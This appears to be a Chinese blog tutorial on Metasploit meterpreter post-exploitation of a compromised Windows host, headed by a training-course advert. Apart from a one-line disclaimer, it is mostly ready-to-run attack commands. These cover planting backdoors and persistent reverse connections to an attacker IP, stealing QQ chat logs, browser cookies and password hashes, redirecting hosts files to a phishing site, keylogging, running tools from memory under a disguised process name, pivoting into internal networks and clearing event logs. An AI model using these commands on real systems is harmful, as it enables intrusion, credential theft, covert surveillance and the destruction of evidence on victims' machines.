MSF—Metasploit 基礎 滲透利用ms08-067
2019年04月02日 20:07:28 | 作者:必火 | 閱讀數:3503457 | |
網絡安全滲透測試北京實地培訓,五個月華麗蛻變,零元入學,報名聯系:15320004362(手機同微信)。全國誠招招生代理,最低2000元起 | |||
MSF—Metasploit 基礎 # 專業術語 @ 滲透攻擊(Exploit) 滲透攻擊是指有攻擊者或滲透測試者利用一個系統、應用或服務中的安全漏洞,所進行的攻擊行為。 # 專業術語 @ 攻擊載荷(Payload) 攻擊載荷就是我們期望目標系統在本滲透攻擊之后去執行的代碼,在Metasploit 框架中可以自由地選擇、傳送和植入。 # 專業術語@ Shellcode Shellcode 是指在滲透攻擊時作為攻擊載荷運行的一組機器指令。 # 專業術語@ 監聽器(Listener) 監聽器是Metasploit 中用來等待連入網絡連接的組件。 在kali inux中啟動metasploit msfconsole 啟動metasploit
僅作滲透測試技術實驗之用,請勿針對任何未授權網絡和設備。 1、background命令 返回,把meterpreter后臺掛起 2、session命令 session 命令可以查看已經成功獲取的會話 可以使用session -i 連接到指定序號的meterpreter會話已繼續利用 3、shell命令 獲取目標主機的遠程命令行shell 如果出錯,考慮是目標主機限制了cmd.exe的訪問權,可以使用migrate注入到管理員用戶進程中再嘗試 4、cat命令 查看目標主機上的文檔內容 例如:cat C:\\boot.ini 查看目標主機啟動引導信息 5、getwd命令 獲取系統工作的當前目錄 6、upload命令 上傳文件到目標主機,例如把后門程序setup.exe傳到目標主機system32目錄下 upload setup.exe C:\\windows\\system32\ 7、download命令 把目標主機上的文件下載到我們的攻擊主機上 例如:把目標主機C盤根目錄下的boot.ini文件下載到攻擊主機的/root/目錄下 download C:\\boot.ini /root/ download C:\\"Program Files"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/ 把目標主機上的QQ聊天記錄下載到攻擊主機的root目錄下(僅實驗用途,是否要考慮變更你QQ程序的安裝路徑了呢) 8、edit命令 調用vi編輯器,對目標主機上的文件修改 例如修改目標主機上的hosts文件,使得目標主機訪問baidu時去到準備好的釣魚網站(僅限實驗用途) 在目標主機上ping www.baidu.com,出來的目標IP就是我們修改的192.168.1.1了 9、search命令 在目標主機文件系統上查找搜索文件 例如:search -d c:\\ -f *.doc 在目標主機C盤下搜索doc文檔 10、ipconfig命令 這個不多說,查看目標主機上的網絡參數 11、portfwd命令 端口轉發 例如目標主機上開啟了3389,但是只允許特定IP訪問,攻擊主機無法連接,可以使用portfwd命令把目標主機的3389端口轉發到其他端口打開 例如:portfwd add -l 1122 -p 3389 -r 192.168.250.176 把目標主機192.168.250.176的3389端口轉發到1122端口 這是只需要連接目標的1122端口就可以打開遠程桌面了 rdesktop -u administrator -p 123456 192.168.250.176:1122 12、route命令 這個也不多說,顯示目標主機上的主機路由表 13、getuid 查看meterpreter注入到目標主機的進程所屬用戶 14、sysinfo 查看目標主機系統信息 15、ps命令 查看目標主機上運行的進程信息,結合migrate使用 16、migrate 將meterpreter會話移植到另一個進程 例如反彈的meterpreter會話是對方打開了一個你預置特殊代碼的word文檔而產生的,那么對方一旦關閉掉該word文檔,我們獲取到的meterpreter會話就會隨之關閉,所以把會話進程注入到explorer.exe是一個好方法 可以先用ps命令看一下目標主機的explorer.exe進程的pid 是1668 然后我們用migrate 1668 把meterpreter會話注入進去 17、execute命令 在目標主機上運行某個程序 例如我們目前注入進程到explorer.exe后,運行用戶為超級管理員administrator 我們運行一下目標主機上的記事本程序 execute -f notepad.exe 目標主機上立馬彈出來一個記事本程序,如下圖: 這樣太明顯,如果希望隱藏后臺執行,加參數-H execute -H -f notepad.exe 此時目標主機桌面沒反應,但我們在meterpreter會話上使用ps命令看到了 再看一個,我們運行目標主機上的cmd.exe程序,并以隱藏的方式直接交互到我們的meterpreter會話上 命令: execute -H -i -f cmd.exe 這達到的效果就跟使用shell命令一樣了 再來一個,在目標主機內存中直接執行我們攻擊主機上的攻擊程序,比如wce.exe,又比如木馬等,這樣可以避免攻擊程序存儲到目標主機硬盤上被發現或被查殺。 execute -H -m -d notepad.exe -f wce.exe -a "-o wce.txt" -d 在目標主機執行時顯示的進程名稱(用以偽裝) -m 直接從內存中執行 "-o wce.txt"是wce.exe的運行參數 18、getpid 獲取meterpreter會話在目標主機上注入進程的進程號 19、shutdown命令 關閉目標主機 20、后滲透模塊post/windows/gather/forensics/enum_drives調用 在獲取meterpreter會話session后,調用post/windows/gather/forensics/enum_drives,可獲取目標主機存儲器信息: 命令,在msfconsole下: use post/windows/gather/forensics/enum_drives set SESSION 1 exploit 效果如圖: 或直接在meterpreter會話中以命令run post/windows/gather/forensics/enum_drives調用 21、調用post/windows/gather/checkvm后滲透模塊,確定目標主機是否是一臺虛擬機 命令: run post/windows/gather/checkvm 效果如下圖: 22、persistence后滲透模塊向目標主機植入后門程序 命令: run persistence -X -i 5 -p 4444 -r 172.17.11.18 -X 在目標主機上開機自啟動 -i 不斷嘗試反向連接的時間間隔 效果如下圖: 執行過程: 創建攻擊載荷->攻擊載荷植入到目標主機c:\windows\temp目錄下,是一個.vbs的腳本->寫目標主機注冊表鍵值實現開機自動運行。 下圖,在攻擊主機上監聽4444端口,等待反彈會話成功 下圖,看目標主機注冊表Run鍵值果然被寫入了一個pDTizIlNK的鍵值,執行后門vbs腳本 23、調用metsvc后滲透攻擊模塊 命令:run metsvc 效果如下圖: 執行過程:在目標主機上創建一個監聽31337端口的服務->在目標主機c:\windows\temp\下創建一個存放后門服務有關文件程序的目錄,并上傳metsrv.x86.dll、metsvc-server.exe、metsvc.exe三個文件到該目錄下->開啟服務 成功后:在目標主機上看到31337號端口已開,且服務多了一個meterpreter(如下圖) 24、調用getgui后滲透攻擊模塊 作用:開啟目標主機遠程桌面,并可添加管理員組賬號 命令: run getgui -e 開啟目標主機遠程桌面 如下圖: 開啟目標主機的遠程桌面服務后,可以添加賬號以便利用 命令: run getgui -u example_username -p example_password 如下圖: 執行成功,可以使用kali的rdesktop命令使用遠程桌面連接目標主機 rdesktop -u kali -p meterpreter 192.168.250.176:3389 25、提權命令getsystem 使用getsystem提升當前進城執行賬戶微system用戶,拿到系統最高權限 命令:getsystem 26、鍵盤記錄器功能keyscan 命令: keyscan_start 開啟記錄目標主機的鍵盤輸入 keyscan_dump 輸出截獲到的目標鍵盤輸入字符信息 keyscan_stop 停止鍵盤記錄 效果如下圖: 箭頭所指為截獲到目標主機的鍵盤輸入字符 27、系統賬號密碼獲取 命令:hashdump 在獲得system權限的情況下,使用hashdump命令可以到處目標主機的SAM文件,獲取目標主機的賬號密碼hash信息,剩下的可以用爆破軟件算出明文密碼 效果如圖: 28、調用post/windows/gather/enum_applications模塊獲取目標主機上的軟件安裝信息 命令:run post/windows/gather/enum_applications 效果如圖: 29、調用post/windows/gather/dumplinks獲取目標主機上最近訪問過的文檔、鏈接信息 命令:run post/windows/gather/dumplinks 效果如下圖: 30、調用post/windows/gather/enum_ie后滲透模塊,讀取目標主機IE瀏覽器cookies等緩存信息,嗅探目標主機登錄過的各類賬號密碼 命令:run post/windows/gather/enum_ie 效果如下圖: 獲取到的目標主機上的ie瀏覽器緩存歷史記錄和cookies信息等都保存到了攻擊主機本地的/root/.msf5/loot/目錄下。 31、route命令 使用route命令可以借助meterpreter會話進一步msf滲透內網,我們已經拿下并產生meterpreter反彈會話的主機可能出于內網之中,外有一層NAT,我們無法直接向其內網中其他主機發起攻擊,則可以借助已產生的meterpreter會話作為路由跳板,攻擊內網其它主機。 可以先使用run get_local_subnets命令查看已拿下的目標主機的內網IP段情況 命令:run get_local_subnets 如下圖: 其內網尚有192.168.249.0/24網段,我們無法直接訪問 下面做一條路由,下一跳為當前拿下主機的session id(目前為5),即所有對249網段的攻擊流量都通過已滲透的這臺目標主機的meterpreter會話來傳遞。 命令:route add 192.168.249.0 255.255.255.0 5 再使用route print查看一下路由表,效果如下圖:
32、clearev命令 入侵痕跡擦除 在滲透利用過程中難免留下日志等信息痕跡,使用clearev命令擦除痕跡后再跑。 命令:clearev 效果如下圖: |